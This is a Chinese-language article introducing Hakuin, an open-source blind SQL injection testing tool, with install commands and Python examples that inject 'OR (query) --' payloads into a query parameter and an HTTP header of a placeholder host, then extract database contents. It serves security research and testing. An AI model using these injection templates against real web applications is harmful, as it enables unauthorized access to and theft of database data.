长亭百川云 - 文章详情

Hakuin:一款自动化SQL盲注(BSQLI)安全检测工具

Alpha_h4ck

41

2024-07-24


关于Hakuin****

Hakuin是一款功能强大的SQL盲注漏洞安全检测工具,该工具专门针对BSQLi设计,可以帮助广大研究人员优化BSQLi测试用例,并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。

该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测,并采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测和并行性机制等。

工具安装

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/pruzko/hakuin.git

然后切换到项目目录中,并执行安装命令:

cd hakuin
pip3 install -e .

pip安装

除此之外,我们还可以直接使用pip3命令安装Hakuin:

pip3 install hakuin

工具使用

Hakuin附带一个简单的封装工具,hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息,请运行:

python3 hk.py -h

使用样例

基于状态推断的查询参数注入检测

import aiohttp
from hakuin import Requester
class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200

基于内容推断的Header注入检测

class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()

尝试提取SQLite/MySQL/PSQL/MSSQL数据

import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL
class StatusRequester(Requester):
...
async def main():

requester: Use this Requester

dbms: Use this DBMS

n_tasks: Spawns N tasks that extract column rows in parallel

ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...

if name == 'main':
asyncio.get_event_loop().run_until_complete(main())

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

Hakuin:

https://github.com/pruzko/hakuin

【FreeBuf粉丝交流群招新啦!

在这里,拓宽网安边界

甲方安全建设干货;

乙方最新技术理念;

全球最新的网络安全资讯;

群内不定期开启各种抽奖活动;

FreeBuf盲盒、大象公仔......

扫码添加小蜜蜂微信回复「加群」,申请加入群聊】

https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection

https://conference.hitb.org/hitbsecconf2023hkt/session/hakuin-injecting-brains-into-blind-sql-injection/

https://wootconference.org/papers/woot23-paper17.pdf







相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2